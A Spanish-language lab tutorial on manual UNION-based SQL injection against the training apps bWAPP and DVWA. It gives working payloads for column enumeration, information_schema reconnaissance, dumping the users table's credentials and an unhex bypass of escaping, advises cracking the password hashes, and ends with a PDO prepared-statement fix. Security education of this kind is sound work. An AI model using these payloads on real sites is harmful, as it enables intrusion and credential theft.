Práctica de explotación manual de SQL Injection mediante sentencias UNION en bWAPP y DVWA. La inyección basada en UNION es una de las técnicas más comunes y potentes: nos permite "unir" los resultados de la consulta legítima de la base de datos con los resultados de una consulta maliciosa inyectada por nosotros.
Accedemos a bWAPP con la IP de la máquina, usuario y contraseña por defecto, y seleccionamos el módulo SQL Injection (Search/GET).
Para que el operador UNION funcione en SQL, nuestra consulta inyectada debe solicitar exactamente el mismo número de columnas que la consulta original. Usamos números incrementales hasta que la web deja de dar error de sintaxis y nos muestra los números en pantalla.
' union select 1,2,3,4,5,6,7#
Una vez sabemos que hay 7 columnas (y vemos cuáles se imprimen en pantalla, por ejemplo la 2, 3, 4 y 5), sustituimos uno de esos números por funciones nativas de MySQL como database() para descubrir en qué base de datos estamos operando o user() para ver nuestro nivel de privilegios.
' union select 1,2,3,database(),5,6,7#
En MySQL, existe una base de datos maestra llamada information_schema que guarda el registro de todas las demás bases de datos, tablas y columnas. La atacamos usando la función group_concat(). Esta función es vital porque agrupa múltiples resultados en una sola cadena de texto, evitando que la web solo nos muestre la primera fila.
' union select 1,2,3,4,group_concat(table_name),6,7
FROM information_schema.tables
WHERE table_schema=database()#
Sabiendo que existe una tabla llamada users, volvemos a consultar a information_schema (esta vez a la tabla columns) para descubrir los nombres exactos de las columnas donde se guardan las credenciales.
' union select 1,2,group_concat(column_name),4,5,6,7
FROM information_schema.columns
WHERE table_name='users' AND table_schema=database()#
Ahora que conocemos el nombre de la tabla y sus columnas, hacemos la consulta final extrayendo los datos puros. Las contraseñas suelen estar hasheadas (en este caso en SHA1). Puedes intentar romper los hashes usando diccionarios en sitios como md5decrypt.net/en/Sha1/ o herramientas como Hashcat.
' union select 1,login,password,email,secret,6,7 FROM users#
En el nivel de seguridad "Medium", DVWA aplica la función mysql_real_escape_string(). Esta función de PHP busca caracteres peligrosos (como la comilla simple ') y les pone una barra invertida delante (\') para neutralizarlos y evitar que rompan la consulta.
El Bypass: Para evadir este filtro, evitamos escribir comillas directamente. En su lugar, usamos la función unhex() de MySQL, pasándole el código hexadecimal del carácter que queremos usar (por ejemplo, 27 es el valor hexadecimal de la comilla simple). De esta forma, el filtro de PHP no ve comillas y lo deja pasar, pero el motor SQL sí lo interpreta correctamente.
unhex(27) or 1=1 order by 2#
Al igual que en bWAPP, usamos el esquema de información, inyectándolo de forma segura detrás de nuestro bypass.
unhex(27) union select 1, table_name
FROM information_schema.tables
WHERE table_schema=database()#
unhex(27) union select user,password FROM dvwa.users#
He creado un entorno seguro simulado (CTF) donde puedes intentar hacer un bypass de autenticación utilizando los conceptos de este manual. Si lo logras, obtendrás una bandera canjeable en la terminal.
>_ INICIAR RETO CTF 01La inyección SQL existe porque los datos no confiables suministrados por el usuario se mezclan directamente con la sintaxis del código de la base de datos. Para evitarlo de raíz:
Ejemplo de código seguro usando PDO en PHP:
<?php
// Ejemplo con PDO (prepared statement):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]); // El input nunca se concatena
$user = $stmt->fetch();
?>